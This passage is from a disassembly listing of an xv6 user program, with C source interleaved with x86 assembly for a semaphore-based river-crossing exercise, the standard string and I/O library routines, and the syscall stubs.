arrived, %d, %d\n", getpid(), total, con); 379: 8b 35 88 18 00 00 mov 0x1888,%esi 37f: 8b 1d 84 18 00 00 mov 0x1884,%ebx 385: e8 f8 05 00 00 call 982 <getpid> 38a: 89 74 24 10 mov %esi,0x10(%esp) 38e: 89 5c 24 0c mov %ebx,0xc(%esp) 392: 89 44 24 08 mov %eax,0x8(%esp) 396: c7 44 24 04 d0 12 00 movl $0x12d0,0x4(%esp) 39d: 00 39e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 3a5: e8 00 07 00 00 call aaa <printf> sem_signal(&display); 3aa: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 3b1: e8 e1 0d 00 00 call 1197 <sem_signal> sem_aquire(&mutex2); 3b6: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 3bd: e8 6f 0d 00 00 call 1131 <sem_aquire> while(total + 2 == 5) { con++; 3c2: e9 db 00 00 00 jmp 4a2 <CannibalArrives+0x149> 3c7: a1 88 18 00 00 mov 0x1888,%eax 3cc: 83 c0 01 add $0x1,%eax 3cf: a3 88 18 00 00 mov %eax,0x1888 sem_signal(&mutex2); 3d4: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 3db: e8 b7 0d 00 00 call 1197 <sem_signal> sem_signal(&boat); 3e0: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 3e7: e8 ab 0d 00 00 call 1197 <sem_signal> sem_aquire(&display); 3ec: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 3f3: e8 39 0d 00 00 call 1131 <sem_aquire> printf(1, "1: (%d) cannibal denied boarding, %d, %d\n", getpid(), total, con); 3f8: 8b 35 88 18 00 00 mov 0x1888,%esi 3fe: 8b 1d 84 18 00 00 mov 0x1884,%ebx 404: e8 79 05 00 00 call 982 <getpid> 409: 89 74 24 10 mov %esi,0x10(%esp) 40d: 89 5c 24 0c mov %ebx,0xc(%esp) 411: 89 44 24 08 mov %eax,0x8(%esp) 415: c7 44 24 04 f4 12 00 movl $0x12f4,0x4(%esp) 41c: 00 41d: c7 04 24 01 00 00 00 movl $0x1,(%esp) 424: e8 81 06 00 00 call aaa <printf> sem_signal(&display); 429: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 430: e8 62 0d 00 00 call 1197 <sem_signal> sem_aquire(&prevention); 435: c7 04 24 e0 19 00 00 movl $0x19e0,(%esp) 43c: e8 f0 0c 00 00 call 1131 <sem_aquire> sem_aquire(&display); 441: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 448: e8 e4 0c 00 00 call 1131 <sem_aquire> printf(1, "1: (%d) cannibal prevented meal, %d, %d\n", getpid(), total, con); 44d: 8b 35 88 18 00 00 mov 0x1888,%esi 453: 8b 1d 84 18 00 00 mov 0x1884,%ebx 459: e8 24 05 00 00 call 982 <getpid> 45e: 89 74 24 10 mov %esi,0x10(%esp) 462: 89 5c 24 0c mov %ebx,0xc(%esp) 466: 89 44 24 08 mov %eax,0x8(%esp) 46a: c7 44 24 04 20 13 00 movl $0x1320,0x4(%esp) 471: 00 472: c7 04 24 01 00 00 00 movl $0x1,(%esp) 479: e8 2c 06 00 00 call aaa <printf> sem_signal(&display); 47e: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 485: e8 0d 0d 00 00 call 1197 <sem_signal> sem_aquire(&boat); 48a: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 491: e8 9b 0c 00 00 call 1131 <sem_aquire> sem_aquire(&mutex2); 496: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 49d: e8 8f 0c 00 00 call 1131 <sem_aquire> printf(1, "1: (%d) cannibal arrived, %d, %d\n", getpid(), total, con); sem_signal(&display); sem_aquire(&mutex2); while(total + 2 == 5) { con++; 4a2: a1 84 18 00 00 mov 0x1884,%eax 4a7: 83 f8 03 cmp $0x3,%eax 4aa: 0f 84 17 ff ff ff je 3c7 <CannibalArrives+0x6e> sem_aquire(&boat); sem_aquire(&mutex2); } sem_signal(&mutex2); 4b0: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 4b7: e8 db 0c 00 00 call 1197 <sem_signal> sem_aquire(&mutex2); 4bc: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 4c3: e8 69 0c 00 00 call 1131 <sem_aquire> total += 2; 4c8: a1 84 18 00 00 mov 0x1884,%eax 4cd: 83 c0 02 add $0x2,%eax 4d0: a3 84 18 00 00 mov %eax,0x1884 sem_signal(&mutex2); 4d5: c7 04 24 a0 18 00 00 movl $0x18a0,(%esp) 4dc: e8 b6 0c 00 00 call 1197 <sem_signal> sem_aquire(&display); 4e1: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 4e8: e8 44 0c 00 00 call 1131 <sem_aquire> printf(1, "2: (%d) cannibal enters boat, %d, %d\n", getpid(), total, con); 4ed: 8b 35 88 18 00 00 mov 0x1888,%esi 4f3: 8b 1d 84 18 00 00 mov 0x1884,%ebx 4f9: e8 84 04 00 00 call 982 <getpid> 4fe: 89 74 24 10 mov %esi,0x10(%esp) 502: 89 5c 24 0c mov %ebx,0xc(%esp) 506: 89 44 24 08 mov %eax,0x8(%esp) 50a: c7 44 24 04 4c 13 00 movl $0x134c,0x4(%esp) 511: 00 512: c7 04 24 01 00 00 00 movl $0x1,(%esp) 519: e8 8c 05 00 00 call aaa <printf> sem_signal(&display); 51e: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 525: e8 6d 0c 00 00 call 1197 <sem_signal> sem_aquire(&mutex); 52a: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp) 531: e8 fb 0b 00 00 call 1131 <sem_aquire> bp++; 536: a1 80 18 00 00 mov 0x1880,%eax 53b: 83 c0 01 add $0x1,%eax 53e: a3 80 18 00 00 mov %eax,0x1880 sem_signal(&mutex); 543: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp) 54a: e8 48 0c 00 00 call 1197 <sem_signal> if (bp < 3) sem_aquire(&loading); 54f: a1 80 18 00 00 mov 0x1880,%eax 554: 83 f8 02 cmp $0x2,%eax 557: 7f 0c jg 565 <CannibalArrives+0x20c> 559: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp) 560: e8 cc 0b 00 00 call 1131 <sem_aquire> // sem_aquire(&display); // printf(1, "bp cannibal: %d\n", bp); // sem_signal(&display); RowBoat(); 565: e8 11 00 00 00 call 57b <RowBoat> sem_signal(&loading); 56a: c7 04 24 20 1a 00 00 movl $0x1a20,(%esp) 571: e8 21 0c 00 00 call 1197 <sem_signal> texit(); 576: e8 2f 04 00 00 call 9aa <texit> 0000057b <RowBoat>: } void RowBoat() { 57b: 55 push %ebp 57c: 89 e5 mov %esp,%ebp 57e: 56 push %esi 57f: 53 push %ebx 580: 83 ec 30 sub $0x30,%esp // sending boat off sem_aquire(&mutex); 583: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp) 58a: e8 a2 0b 00 00 call 1131 <sem_aquire> if(bp == 3){ 58f: a1 80 18 00 00 mov 0x1880,%eax 594: 83 f8 03 cmp $0x3,%eax 597: 0f 85 ea 00 00 00 jne 687 <RowBoat+0x10c> sem_aquire(&display); 59d: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 5a4: e8 88 0b 00 00 call 1131 <sem_aquire> printf(1, "(%d) RowBoat\n", getpid()); 5a9: e8 d4 03 00 00 call 982 <getpid> 5ae: 89 44 24 08 mov %eax,0x8(%esp) 5b2: c7 44 24 04 72 13 00 movl $0x1372,0x4(%esp) 5b9: 00 5ba: c7 04 24 01 00 00 00 movl $0x1,(%esp) 5c1: e8 e4 04 00 00 call aaa <printf> sem_signal(&display); 5c6: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 5cd: e8 c5 0b 00 00 call 1197 <sem_signal> sem_signal(&boat); 5d2: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 5d9: e8 b9 0b 00 00 call 1197 <sem_signal> sem_signal(&boat); 5de: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 5e5: e8 ad 0b 00 00 call 1197 <sem_signal> sem_signal(&boat); 5ea: c7 04 24 20 19 00 00 movl $0x1920,(%esp) 5f1: e8 a1 0b 00 00 call 1197 <sem_signal> bp = 0; 5f6: c7 05 80 18 00 00 00 movl $0x0,0x1880 5fd: 00 00 00 sem_aquire(&display); 600: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 607: e8 25 0b 00 00 call 1131 <sem_aquire> printf(1, "(%d) sending boat off. bon voyage! %d, %d\n", getpid(), total, con); 60c: 8b 35 88 18 00 00 mov 0x1888,%esi 612: 8b 1d 84 18 00 00 mov 0x1884,%ebx 618: e8 65 03 00 00 call 982 <getpid> 61d: 89 74 24 10 mov %esi,0x10(%esp) 621: 89 5c 24 0c mov %ebx,0xc(%esp) 625: 89 44 24 08 mov %eax,0x8(%esp) 629: c7 44 24 04 80 13 00 movl $0x1380,0x4(%esp) 630: 00 631: c7 04 24 01 00 00 00 movl $0x1,(%esp) 638: e8 6d 04 00 00 call aaa <printf> sem_signal(&display); 63d: c7 04 24 60 19 00 00 movl $0x1960,(%esp) 644: e8 4e 0b 00 00 call 1197 <sem_signal> int j = 0; 649: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) for (j = 0; j < con; ++j) sem_signal(&prevention); 650: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 657: eb 10 jmp 669 <RowBoat+0xee> 659: c7 04 24 e0 19 00 00 movl $0x19e0,(%esp) 660: e8 32 0b 00 00 call 1197 <sem_signal> 665: 83 45 f4 01 addl $0x1,-0xc(%ebp) 669: a1 88 18 00 00 mov 0x1888,%eax 66e: 39 45 f4 cmp %eax,-0xc(%ebp) 671: 7c e6 jl 659 <RowBoat+0xde> con = 0; 673: c7 05 88 18 00 00 00 movl $0x0,0x1888 67a: 00 00 00 total = 0; 67d: c7 05 84 18 00 00 00 movl $0x0,0x1884 684: 00 00 00 } sem_signal(&mutex); 687: c7 04 24 a0 19 00 00 movl $0x19a0,(%esp) 68e: e8 04 0b 00 00 call 1197 <sem_signal> 693: 83 c4 30 add $0x30,%esp 696: 5b pop %ebx 697: 5e pop %esi 698: 5d pop %ebp 699: c3 ret 0000069a <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 69a: 55 push %ebp 69b: 89 e5 mov %esp,%ebp 69d: 57 push %edi 69e: 53 push %ebx asm volatile("cld; rep stosb" : 69f: 8b 4d 08 mov 0x8(%ebp),%ecx 6a2: 8b 55 10 mov 0x10(%ebp),%edx 6a5: 8b 45 0c mov 0xc(%ebp),%eax 6a8: 89 cb mov %ecx,%ebx 6aa: 89 df mov %ebx,%edi 6ac: 89 d1 mov %edx,%ecx 6ae: fc cld 6af: f3 aa rep stos %al,%es:(%edi) 6b1: 89 ca mov %ecx,%edx 6b3: 89 fb mov %edi,%ebx 6b5: 89 5d 08 mov %ebx,0x8(%ebp) 6b8: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 6bb: 5b pop %ebx 6bc: 5f pop %edi 6bd: 5d pop %ebp 6be: c3 ret 000006bf <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 6bf: 55 push %ebp 6c0: 89 e5 mov %esp,%ebp 6c2: 83 ec 10 sub $0x10,%esp char *os; os = s; 6c5: 8b 45 08 mov 0x8(%ebp),%eax 6c8: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 6cb: 90 nop 6cc: 8b 45 08 mov 0x8(%ebp),%eax 6cf: 8d 50 01 lea 0x1(%eax),%edx 6d2: 89 55 08 mov %edx,0x8(%ebp) 6d5: 8b 55 0c mov 0xc(%ebp),%edx 6d8: 8d 4a 01 lea 0x1(%edx),%ecx 6db: 89 4d 0c mov %ecx,0xc(%ebp) 6de: 0f b6 12 movzbl (%edx),%edx 6e1: 88 10 mov %dl,(%eax) 6e3: 0f b6 00 movzbl (%eax),%eax 6e6: 84 c0 test %al,%al 6e8: 75 e2 jne 6cc <strcpy+0xd> ; return os; 6ea: 8b 45 fc mov -0x4(%ebp),%eax } 6ed: c9 leave 6ee: c3 ret 000006ef <strcmp>: int strcmp(const char *p, const char *q) { 6ef: 55 push %ebp 6f0: 89 e5 mov %esp,%ebp while(*p && *p == *q) 6f2: eb 08 jmp 6fc <strcmp+0xd> p++, q++; 6f4: 83 45 08 01 addl $0x1,0x8(%ebp) 6f8: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 6fc: 8b 45 08 mov 0x8(%ebp),%eax 6ff: 0f b6 00 movzbl (%eax),%eax 702: 84 c0 test %al,%al 704: 74 10 je 716 <strcmp+0x27> 706: 8b 45 08 mov 0x8(%ebp),%eax 709: 0f b6 10 movzbl (%eax),%edx 70c: 8b 45 0c mov 0xc(%ebp),%eax 70f: 0f b6 00 movzbl (%eax),%eax 712: 38 c2 cmp %al,%dl 714: 74 de je 6f4 <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 716: 8b 45 08 mov 0x8(%ebp),%eax 719: 0f b6 00 movzbl (%eax),%eax 71c: 0f b6 d0 movzbl %al,%edx 71f: 8b 45 0c mov 0xc(%ebp),%eax 722: 0f b6 00 movzbl (%eax),%eax 725: 0f b6 c0 movzbl %al,%eax 728: 29 c2 sub %eax,%edx 72a: 89 d0 mov %edx,%eax } 72c: 5d pop %ebp 72d: c3 ret 0000072e <strlen>: uint strlen(char *s) { 72e: 55 push %ebp 72f: 89 e5 mov %esp,%ebp 731: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 734: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 73b: eb 04 jmp 741 <strlen+0x13> 73d: 83 45 fc 01 addl $0x1,-0x4(%ebp) 741: 8b 55 fc mov -0x4(%ebp),%edx 744: 8b 45 08 mov 0x8(%ebp),%eax 747: 01 d0 add %edx,%eax 749: 0f b6 00 movzbl (%eax),%eax 74c: 84 c0 test %al,%al 74e: 75 ed jne 73d <strlen+0xf> ; return n; 750: 8b 45 fc mov -0x4(%ebp),%eax } 753: c9 leave 754: c3 ret 00000755 <memset>: void* memset(void *dst, int c, uint n) { 755: 55 push %ebp 756: 89 e5 mov %esp,%ebp 758: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 75b: 8b 45 10 mov 0x10(%ebp),%eax 75e: 89 44 24 08 mov %eax,0x8(%esp) 762: 8b 45 0c mov 0xc(%ebp),%eax 765: 89 44 24 04 mov %eax,0x4(%esp) 769: 8b 45 08 mov 0x8(%ebp),%eax 76c: 89 04 24 mov %eax,(%esp) 76f: e8 26 ff ff ff call 69a <stosb> return dst; 774: 8b 45 08 mov 0x8(%ebp),%eax } 777: c9 leave 778: c3 ret 00000779 <strchr>: char* strchr(const char *s, char c) { 779: 55 push %ebp 77a: 89 e5 mov %esp,%ebp 77c: 83 ec 04 sub $0x4,%esp 77f: 8b 45 0c mov 0xc(%ebp),%eax 782: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 785: eb 14 jmp 79b <strchr+0x22> if(*s == c) 787: 8b 45 08 mov 0x8(%ebp),%eax 78a: 0f b6 00 movzbl (%eax),%eax 78d: 3a 45 fc cmp -0x4(%ebp),%al 790: 75 05 jne 797 <strchr+0x1e> return (char*)s; 792: 8b 45 08 mov 0x8(%ebp),%eax 795: eb 13 jmp 7aa <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 797: 83 45 08 01 addl $0x1,0x8(%ebp) 79b: 8b 45 08 mov 0x8(%ebp),%eax 79e: 0f b6 00 movzbl (%eax),%eax 7a1: 84 c0 test %al,%al 7a3: 75 e2 jne 787 <strchr+0xe> if(*s == c) return (char*)s; return 0; 7a5: b8 00 00 00 00 mov $0x0,%eax } 7aa: c9 leave 7ab: c3 ret 000007ac <gets>: char* gets(char *buf, int max) { 7ac: 55 push %ebp 7ad: 89 e5 mov %esp,%ebp 7af: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 7b2: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 7b9: eb 4c jmp 807 <gets+0x5b> cc = read(0, &c, 1); 7bb: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 7c2: 00 7c3: 8d 45 ef lea -0x11(%ebp),%eax 7c6: 89 44 24 04 mov %eax,0x4(%esp) 7ca: c7 04 24 00 00 00 00 movl $0x0,(%esp) 7d1: e8 44 01 00 00 call 91a <read> 7d6: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 7d9: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 7dd: 7f 02 jg 7e1 <gets+0x35> break; 7df: eb 31 jmp 812 <gets+0x66> buf[i++] = c; 7e1: 8b 45 f4 mov -0xc(%ebp),%eax 7e4: 8d 50 01 lea 0x1(%eax),%edx 7e7: 89 55 f4 mov %edx,-0xc(%ebp) 7ea: 89 c2 mov %eax,%edx 7ec: 8b 45 08 mov 0x8(%ebp),%eax 7ef: 01 c2 add %eax,%edx 7f1: 0f b6 45 ef movzbl -0x11(%ebp),%eax 7f5: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 7f7: 0f b6 45 ef movzbl -0x11(%ebp),%eax 7fb: 3c 0a cmp $0xa,%al 7fd: 74 13 je 812 <gets+0x66> 7ff: 0f b6 45 ef movzbl -0x11(%ebp),%eax 803: 3c 0d cmp $0xd,%al 805: 74 0b je 812 <gets+0x66> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 807: 8b 45 f4 mov -0xc(%ebp),%eax 80a: 83 c0 01 add $0x1,%eax 80d: 3b 45 0c cmp 0xc(%ebp),%eax 810: 7c a9 jl 7bb <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 812: 8b 55 f4 mov -0xc(%ebp),%edx 815: 8b 45 08 mov 0x8(%ebp),%eax 818: 01 d0 add %edx,%eax 81a: c6 00 00 movb $0x0,(%eax) return buf; 81d: 8b 45 08 mov 0x8(%ebp),%eax } 820: c9 leave 821: c3 ret 00000822 <stat>: int stat(char *n, struct stat *st) { 822: 55 push %ebp 823: 89 e5 mov %esp,%ebp 825: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 828: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 82f: 00 830: 8b 45 08 mov 0x8(%ebp),%eax 833: 89 04 24 mov %eax,(%esp) 836: e8 07 01 00 00 call 942 <open> 83b: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 83e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 842: 79 07 jns 84b <stat+0x29> return -1; 844: b8 ff ff ff ff mov $0xffffffff,%eax 849: eb 23 jmp 86e <stat+0x4c> r = fstat(fd, st); 84b: 8b 45 0c mov 0xc(%ebp),%eax 84e: 89 44 24 04 mov %eax,0x4(%esp) 852: 8b 45 f4 mov -0xc(%ebp),%eax 855: 89 04 24 mov %eax,(%esp) 858: e8 fd 00 00 00 call 95a <fstat> 85d: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 860: 8b 45 f4 mov -0xc(%ebp),%eax 863: 89 04 24 mov %eax,(%esp) 866: e8 bf 00 00 00 call 92a <close> return r; 86b: 8b 45 f0 mov -0x10(%ebp),%eax } 86e: c9 leave 86f: c3 ret 00000870 <atoi>: int atoi(const char *s) { 870: 55 push %ebp 871: 89 e5 mov %esp,%ebp 873: 83 ec 10 sub $0x10,%esp int n; n = 0; 876: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 87d: eb 25 jmp 8a4 <atoi+0x34> n = n*10 + *s++ - '0'; 87f: 8b 55 fc mov -0x4(%ebp),%edx 882: 89 d0 mov %edx,%eax 884: c1 e0 02 shl $0x2,%eax 887: 01 d0 add %edx,%eax 889: 01 c0 add %eax,%eax 88b: 89 c1 mov %eax,%ecx 88d: 8b 45 08 mov 0x8(%ebp),%eax 890: 8d 50 01 lea 0x1(%eax),%edx 893: 89 55 08 mov %edx,0x8(%ebp) 896: 0f b6 00 movzbl (%eax),%eax 899: 0f be c0 movsbl %al,%eax 89c: 01 c8 add %ecx,%eax 89e: 83 e8 30 sub $0x30,%eax 8a1: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 8a4: 8b 45 08 mov 0x8(%ebp),%eax 8a7: 0f b6 00 movzbl (%eax),%eax 8aa: 3c 2f cmp $0x2f,%al 8ac: 7e 0a jle 8b8 <atoi+0x48> 8ae: 8b 45 08 mov 0x8(%ebp),%eax 8b1: 0f b6 00 movzbl (%eax),%eax 8b4: 3c 39 cmp $0x39,%al 8b6: 7e c7 jle 87f <atoi+0xf> n = n*10 + *s++ - '0'; return n; 8b8: 8b 45 fc mov -0x4(%ebp),%eax } 8bb: c9 leave 8bc: c3 ret 000008bd <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 8bd: 55 push %ebp 8be: 89 e5 mov %esp,%ebp 8c0: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 8c3: 8b 45 08 mov 0x8(%ebp),%eax 8c6: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 8c9: 8b 45 0c mov 0xc(%ebp),%eax 8cc: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 8cf: eb 17 jmp 8e8 <memmove+0x2b> *dst++ = *src++; 8d1: 8b 45 fc mov -0x4(%ebp),%eax 8d4: 8d 50 01 lea 0x1(%eax),%edx 8d7: 89 55 fc mov %edx,-0x4(%ebp) 8da: 8b 55 f8 mov -0x8(%ebp),%edx 8dd: 8d 4a 01 lea 0x1(%edx),%ecx 8e0: 89 4d f8 mov %ecx,-0x8(%ebp) 8e3: 0f b6 12 movzbl (%edx),%edx 8e6: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 8e8: 8b 45 10 mov 0x10(%ebp),%eax 8eb: 8d 50 ff lea -0x1(%eax),%edx 8ee: 89 55 10 mov %edx,0x10(%ebp) 8f1: 85 c0 test %eax,%eax 8f3: 7f dc jg 8d1 <memmove+0x14> *dst++ = *src++; return vdst; 8f5: 8b 45 08 mov 0x8(%ebp),%eax } 8f8: c9 leave 8f9: c3 ret 000008fa <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 8fa: b8 01 00 00 00 mov $0x1,%eax 8ff: cd 40 int $0x40 901: c3 ret 00000902 <exit>: SYSCALL(exit) 902: b8 02 00 00 00 mov $0x2,%eax 907: cd 40 int $0x40 909: c3 ret 0000090a <wait>: SYSCALL(wait) 90a: b8 03 00 00 00 mov $0x3,%eax 90f: cd 40 int $0x40 911: c3 ret 00000912 <pipe>: SYSCALL(pipe) 912: b8 04 00 00 00 mov $0x4,%eax 917: cd 40 int $0x40 919: c3 ret 0000091a <read>: SYSCALL(read) 91a: b8 05 00 00 00 mov $0x5,%eax 91f: cd 40 int $0x40 921: c3 ret 00000922 <write>: SYSCALL(write) 922: b8 10 00 00 00 mov $0x10,%eax 927: cd 40 int $0x40 929: c3 ret 0000092a <close>: SYSCALL(close) 92a: b8 15 00 00 00 mov $0x15,%eax 92f: cd 40 int $0x40 931: c3 ret 00000932 <kill>: SYSCALL(kill) 932: b8 06 00 00 00 mov $0x6,%eax 937: cd 40 int $0x40 939: c3 ret 0000093a <exec>: SYSCALL(exec) 93a: b8 07 00 00 00 mov $0x7,%eax 93f: cd 40 int $0x40 941: c3 ret 00000942 <open>: SYSCALL(open) 942: b8 0f 00 00 00 mov $0xf,%eax 947: cd 40 int $0x40 949: c3 ret 0000094a <mknod>: SYSCALL(mknod) 94a: b8 11 00 00 00 mov $0x11,%eax 94f: cd 40 int $0x40 951: c3 ret 00000952 <unlink>: SYSCALL(unlink) 952: b8 12 00 00 00 mov $0x12,%eax 957: cd 40 int $0x40 959: c3 ret 0000095a <fstat>: SYSCALL(fstat) 95a: b8 08 00 00 00 mov $0x8,%eax 95f: cd 40 int $0x40 961: c3 ret 00000962 <link>: SYSCALL(link) 962: b8 13 00 00 00 mov $0x13,%eax 967: cd 40 int $0x40 969: c3 ret 0000096a <mkdir>: SYSCALL(mkdir) 96a: b8 14 00 00 00 mov $0x14,%eax 96f: cd 40 int $0x40 971: c3 ret 00000972 <chdir>: SYSCALL(chdir) 972: b8 09 00 00 00 mov $0x9,%eax 977: cd 40 int $0x40 979: c3 ret 0000097a <dup>: SYSCALL(dup) 97a: b8 0a 00 00 00 mov $0xa,%eax 97f: cd 40 int $0x40 981: c3 ret 00000982 <getpid>: SYSCALL(getpid) 982: b8 0b 00 00 00 mov $0xb,%eax 987: cd 40 int $0x40 989: c3 ret 0000098a <sbrk>: SYSCALL(sbrk) 98a: b8 0c 00 00 00 mov $0xc,%eax 98f: cd 40 int $0x40 991: c3 ret 00000992 <sleep>: SYSCALL(sleep) 992: b8 0d 00 00 00 mov $0xd,%eax 997: cd 40 int $0x40 999: c3 ret 0000099a <uptime>: SYSCALL(uptime) 99a: b8 0e 00 00 00 mov $0xe,%eax 99f: cd 40 int $0x40 9a1: c3 ret 000009a2 <clone>: SYSCALL(clone) 9a2: b8 16 00 00 00 mov $0x16,%eax 9a7: cd 40 int $0x40 9a9: c3 ret 000009aa <texit>: SYSCALL(texit) 9aa: b8 17 00 00 00 mov $0x17,%eax 9af: cd 40 int $0x40 9b1: c3 ret 000009b2 <tsleep>: SYSCALL(tsleep) 9b2: b8 18 00 00 00 mov $0x18,%eax 9b7: cd 40 int $0x40 9b9: c3 ret 000009ba <twakeup>: SYSCALL(twakeup) 9ba: b8 19 00 00 00 mov $0x19,%eax 9bf: cd 40 int $0x40 9c1: c3 ret 000009c2 <test>: SYSCALL(test) 9c2: b8 1a 00 00 00 mov $0x1a,%eax 9c7: cd 40 int $0x40 9c9: c3 ret 000009ca <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 9ca: 55 push %ebp 9cb: 89 e5 mov %esp,%ebp 9cd: 83 ec 18 sub $0x18,%esp 9d0: 8b 45 0c mov 0xc(%ebp),%eax 9d3: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 9d6: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 9dd: 00 9de: 8d 45 f4 lea -0xc(%ebp),%eax 9e1: 89 44 24 04 mov %eax,0x4(%esp) 9e5: 8b 45 08 mov 0x8(%ebp),%eax 9e8: 89 04 24 mov %eax,(%esp) 9eb: e8 32 ff ff ff call 922 <write> } 9f0: c9 leave 9f1: c3 ret 000009f2 <printint>: static void printint(int fd, int xx, int base, int sgn) { 9f2: 55 push %ebp 9f3: 89 e5 mov %esp,%ebp 9f5: 56 push %esi 9f6: 53 push %ebx 9f7: 83 ec 30 sub $0x30,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 9fa: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ a01: 83 7d 14 00 cmpl $0x0,0x14(%ebp) a05: 74 17 je a1e <printint+0x2c> a07: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) a0b: 79 11 jns a1e <printint+0x2c> neg = 1; a0d: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; a14: 8b 45 0c mov 0xc(%ebp),%eax a17: f7 d8 neg %eax a19: 89 45 ec mov %eax,-0x14(%ebp) a1c: eb 06 jmp a24 <printint+0x32> } else { x = xx; a1e: 8b 45 0c mov 0xc(%ebp),%eax a21: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; a24: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; a2b: 8b 4d f4 mov -0xc(%ebp),%ecx a2e: 8d 41 01 lea 0x1(%ecx),%eax a31: 89 45 f4 mov %eax,-0xc(%ebp) a34: 8b 5d 10 mov 0x10(%ebp),%ebx a37: 8b 45 ec mov -0x14(%ebp),%eax a3a: ba 00 00 00 00 mov $0x0,%edx a3f: f7 f3 div %ebx a41: 89 d0 mov %edx,%eax a43: 0f b6 80 58 18 00 00 movzbl 0x1858(%eax),%eax a4a: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); a4e: 8b 75 10 mov 0x10(%ebp),%esi a51: 8b 45 ec mov -0x14(%ebp),%eax a54: ba 00 00 00 00 mov $0x0,%edx a59: f7 f6 div %esi a5b: 89 45 ec mov %eax,-0x14(%ebp) a5e: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) a62: 75 c7 jne a2b <printint+0x39> if(neg) a64: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) a68: 74 10 je a7a <printint+0x88> buf[i++] = '-'; a6a: 8b 45 f4 mov -0xc(%ebp),%eax a6d: 8d 50 01 lea 0x1(%eax),%edx a70: 89 55 f4 mov %edx,-0xc(%ebp) a73: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) a78: eb 1f jmp a99 <printint+0xa7> a7a: eb 1d jmp a99 <printint+0xa7> putc(fd, buf[i]); a7c: 8d 55 dc lea -0x24(%ebp),%edx a7f: 8b 45 f4 mov -0xc(%ebp),%eax a82: 01 d0 add %edx,%eax a84: 0f b6 00 movzbl (%eax),%eax a87: 0f be c0 movsbl %al,%eax a8a: 89 44 24 04 mov %eax,0x4(%esp) a8e: 8b 45 08 mov 0x8(%ebp),%eax a91: 89 04 24 mov %eax,(%esp) a94: e8 31 ff ff ff call 9ca <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 